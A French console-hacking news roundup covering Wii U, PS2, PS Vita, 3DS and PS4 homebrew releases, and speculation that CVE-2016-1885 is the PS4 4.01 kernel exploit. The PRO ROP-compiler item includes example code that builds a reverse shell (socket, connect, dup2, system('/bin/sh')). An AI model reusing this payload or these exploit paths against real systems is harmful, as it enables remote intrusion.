Vous trouverez toutes les modifications à cette adresse:
https://github.com/f...9735e2cf8907e1e
Ces informations et modifications ne seront utiles qu'aux développeurs.
Restons attentif aux prochains jours peut être que d'autres développeurs prendront le relai
Nous vous l'annoncions il y a peu, un développeur répondant au nom de Yardape8000 s'est mis en tête de proposer un mod de Wupinstaller de Dimok789 et c'est ainsi qu'il nous offre Wupinstaller Mod.
Pour rappel, ce mod permet notamment de retirer ou d'activer la whitelist ou la blacklist, mais il permet aussi l'installation d'un fichier (même nuisible) de prendre en compte des sauvegardes à partir d'autres régions, etc...
Yardape a publié pas moins de trois versions de son mod, en quatre jours, (versions 1.1.1, 1.2 et celle-ci).
Au total, énormément de bugs ont été résolus, le plus important étant celui qui survenait lors du choix entre la nand et le port USB.
Beaucoup de petites améliorations sont mises en place, notamment dans la description des actions que permettent certains boutons et des erreurs qui peuvent se produire, mais aussi dans la détection plus poussé des répertoires et du dernier répertoire utilisé et dans la gestion de la carte SD.
En clair, l’utilitaire devient nettement plus accessible pour les moins initiés.
Changelog:
v1.2.1
Télécharger WupInstaller Mod 1.2.1
PS2 ID_Dumper A little PS2 ELF which was coded for the sole purpose of dumping the machine and iLink IDs, the CDVD keys (DNA$ and SUD), and the $ONY HDD ID. It also reads the entire MECHACON NVRAM... The dumped data are saved as raw binaries to the USB drive. To dump your PS2HDD ID, you need three $ONY drivers (dev9.irx, atad.irx and hdd.irx), NOT INCLUDED in this package. The download comes free of $ONY proprietary code. How to use : 1) Copy the needed modules to the ID_DUMPER folder; 2) Copy the ID_DUMPER folder in the root of your FAT32 formatted USB device; 3) Run RUNME.ELF. Optional drivers in Pastie nbr 10951082
Téléchargement : ID_DUMPER
Ensuite le développeur nous offre le code source d'un très bon utilitaire nommé SCEDoormat NOME (émulation MECHACON) qui est un logiciel compatible DMCA qui vous permet de convertir un ELF en fichier FELP, qui peut alors être exécuter à partir d'un disque dur. Le code source provient de la Release 3 sortie le 13 Avril 2015.
Hello, I decided to share the src of my SCEDoormat (No ME Version) Release 3 proggy... The code is quite messy and meh, although it compiles fine. Should not be difficult to port the tool to other operating systems, or add your program the ability to decipher the KRYPTO files and play LEGOs:playful:... Regards.
Téléchargement : src_SCEDoormat3_NoME.zip Enfin, c'est le développeur Maximus32 qui a publié PS2Linux v3.8, cette mis à jour intègre désormais de nombreux changements et des optimisations, comme par exemple une amélioration de la vitesse Ethernet ainsi que la possibilité de spoof sous MAC, l'arrivée du noyau 3.8 permet de se libérer du 2.6.
Ps2Linux v3.8 The release is ready, at last . New kernel features: - one network driver for FAT and SLIM, stable - ethernet MAC address spoofing - ethernet speed increased - new fast HDD DMA driver - 2.6.35.4 upgraded to 2.6.35.14 - 2.6 kernel has same features as 3.8 - ps2dev interface working on both kernels - sps2mod working on both kernels New usb stick features: - sps2mod modules included, use "sps2_load" to load them - sps2dev demo's included (dma_triangle, spky_bumpmap, sps2_triangle, tshower and vspeed) - some applications to do some tests like hdparm, iperf and bonnie++. Feature requests welcome: - Changes to the kernel config (like adding usb drivers or file systems) - Changes to buildroot (like applications, services)
Téléchargement : ps2linux3.8_v0.1.img.gz et ps2linux3.8_v0.2.img.gz
Téléchargement : DiscU v4.1b
TheFlow à qui l'on doit la plus part des meilleurs homebrews sur Vita, vient de mettre à jour son VitaShell en version 1.4.
La grosse nouveauté de cette version est une nouvelle sécurité permettant la recherche d'éventuelles fonctions dangereuses dans les vpk lors de leur installations. Cette version apporte également la compression "réglable" pour les fichiers zip créés dans VitaShell, elle fix aussi les permissions pour transférer des fichiers dans ux0:video et quelques petites choses visibles dans le changelog.
Changelog 1.4:
- Added group RW permissions on files and folders when moving. Safe homebrews like RetroArch will now recognize files and folders that you have moved from 'ux0:video'.
- Added scanning for dangerous functions in packages.
- Added possibility to choose compression level.
- Fixed time information in zip archives.
Vous pourrez mettre à jour VitaShell directement depuis l'application ou pour ceux préférant rester hors ligne installer le vpk que vous pouvez télécharger à cette adresse: VitaShell v1.4
PRO: PROgramming ROP like a PRO This is a crappy tool used in our private PS4 jailbreak. Since some version, the internal browser is compiled WITHOUT jit support, and sys_jitshm_xxx seems to be disabled for unprivileged process. We have to write the kernel exploitation in ROP, like what has been done in HENKaku jailbreak. Build pip install git+https://github.com/chaitin/pro If you have modified the pro.g4 file, use the following commands to generate new lexer and parser. cd pro/parse && antlr4 -no-listener -visitor -Dlanguage=Python2 pro.g4 Examples toy { {% include "gadgets.pro" %} {% include "glibc.pro" %} const AF_INET(2); const SOCK_STREAM(1); const IPPROTO_IP(0); var fd; socket(AF_INET, SOCK_STREAM, IPPROTO_IP); func store_rdx_rax<libc, 0x0002e60c, "rdx,rax::">; store_rdx_rax(&fd, undefined); printf("socket fd = %d\n", fd); array addr["\x02\x00\x41\x41\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"]; connect(fd, addr, 0x10); {% for i in range(3): %} dup2(fd, {{i}}); {% endfor %} system("/bin/sh"); exit(1); } Usage A BIG TODO. Just try and learn by yourself. Quick Guide All expressions should be evaluated during compilation, Const/Func should be initialized in declaration. Func is initialized with . Base/Offset is used for relocation, Signature determines the calling convention of Func. Array can be declared with size(Int) or directly initialized with its content(String). For loop should be written in template script, it will be rendered before compilation. For more information, check Jinja2.
Bien entendu, ce code et les exemples sont réservés aux développeurs. Tout est là : chaitin/pro Téléchargement : ROP Tool
Les fonctions, l'EmuNAND et le menu de sélection multiroms sont totalement fonctionnels sous ce nouveau firmware 11.2.
26/10 – Latest Emunand support Posted on October 26, 2016 Just a quick confirmation that Gateway Emunand support Nintendo’s latest firmware 11.2 You can safely update your Emunand. More to come soon!
Téléchargement : Cemu Utilities Ver 0.01
Nous apprenons une fois de plus sur le forum de Wololo, quelques infos intéressantes à propos du hack 4.01 de la team chinoise lors du concours GeekPwn.
Après que les membres de la team est annoncés qu' ils révèleraient les failles de leur exploit à Sony, d' autres devs se sont empresser de chercher comment ce dernier à été mis en place.
Avec les premières recherches, certaines personnes auraient eu accès à quelques infos sur l'exploit FreeBSD de la team Taichin Tech.L'exploit kernel de ce hack 4.01, reposerait apparemment sur une faille CVE (CVE-2016-1885) qui a été révélé en Avril. Il semblerait qu' elle n' ai pas été correctement patché et qu' elle serait une des failles que les hackers Taichin Tech auraient utilisés pour accéder au système interne de la PS4.
The argument validation in r296956 was not enough to close all possible overflows in sysarch(2)
Bien sur, tout ceci n' est pour l'instant pas encore prouvé, mais les choses avancent dans le bon sens, de plus FreeBSD étant open-source, les détails de la correction de cette faille kernel pourront aidés nos hackers à mieux comprendre comment cette dernière fonctionne.
Naturellement toutes ces infos, sont pour nous simple users, incompréhensibles, mais ne doutons pas que les personnes qualifiées seront quoi en faire et s' en servis comme il le faut.
Ce qui a déjà commencé d' après certains hackers.
Que reste-t-il en théorie pour un jailbreak des PS4 >1.76?
En 1.76, les choses sont déjà faites, nous possédons un exploit webkit et un exploit kernel, pour le reste des PS4 donc >1.76, en théorie, je le répète, nous possédons un exploit webkit en 3.55 (la même faille d' henkaku) par contre il nous manquait juste un exploit kernel afin d' être au même niveau que les PS4 en 1.76, d' où l' importance de cette faille CVE (CVE-2016-1885).
Donc en conclusion, les PS4 en 3.55 et moins ont de grandes chances de rejoindre les PS4 en 1.76 au niveau possibilité de Hack (Linux, Menu Debug, etc...).
Pourquoi 3.55 et moins et non 4.01 et moins, tout simplement car nous ne possédons pas la faille webkit utilisé par les chinois et cette dernière sera (a été?) révélé à Sony, elle sera donc bloqué si ce n'est pas déjà le cas avec le 4.05.
SpecterDev confirme sur la shootbox de pshax ce qui vient d'être écrit sur cette news:
Nous vous conseillons, si le hack PS4 vous intéresse, de ne pas mettre à jour vos consoles au dessus de 3.55 afin de profiter de la faille webkit et ainsi du futur exploit kernel.
Pour ceux en 4.00/4.01il vous faudra être patient et ne pas mettre à jour en 4.05 afin de ne pas perdre la faille webkit toujours présente dans ces 2 firmwares mais non connue encore de la scène (en théorie).
Liens concernant cette fameuse faille kernel:
- FreeBSD security Advisorie
- CVE-2016-1885
- L'exploit kernel avec les corrections apportés
Alors que le hack PS4 semble prendre une nouvelle tournure, la scène PS Vita continue sur sa lancé en proposant toujours plus d' homebrews et d'utilitaire à destination de la dernière portable de Sony.
Nous apprenions il y a peu une petite découverte plutôt intéressante, en effet, nous savons maintenant que les Ps Vita 1000 et 2000 possèdent une mémoire de stockage interne (ur0:) respectivement de 2GB pour le modèle 1000 et 1,5GB pour le 2000.
Pourquoi parler de cela me diriez vous, tous simplement pour la raison suivante, Lupo511, membre des forums de Wololo, vient de publier un nouvel homebrew permettant d' accéder et de stocker des applications dans cette mémoire (ur0:) avec : Application Storage Manager v0.01.
Cela permettra donc à tous de récupérer quelques gigas de stockage, au vu du prix et de la rareté des cartes SD aujourd’hui ceci n' est pas négligeable.
Attention toute fois, accéder à cette partie de votre console comporte des risques, Lupo511 lui même nous met en garde sur son utilisation:
Citation de l' auteur:
Gardez à l'esprit que cela n'a pas été testé à 100% et certaines applications peuvent ne pas fonctionner lorsqu' elles sont déplacés vers la mémoire interne. Je ne l'ai testé qu' avec des homebrews et non avec des jeux. Je ne prends aucune responsabilité pour tout dommage que cela pourrait faire à votre console.
Tuto:
It’s an unsafe homebrew because it needs access to the whole filesystem (ux0:app/, ur0:app/, ur0:shell/db/). The source is also linked below, so you may build from source if you want.
Télécharger Application Storage Manager v0.01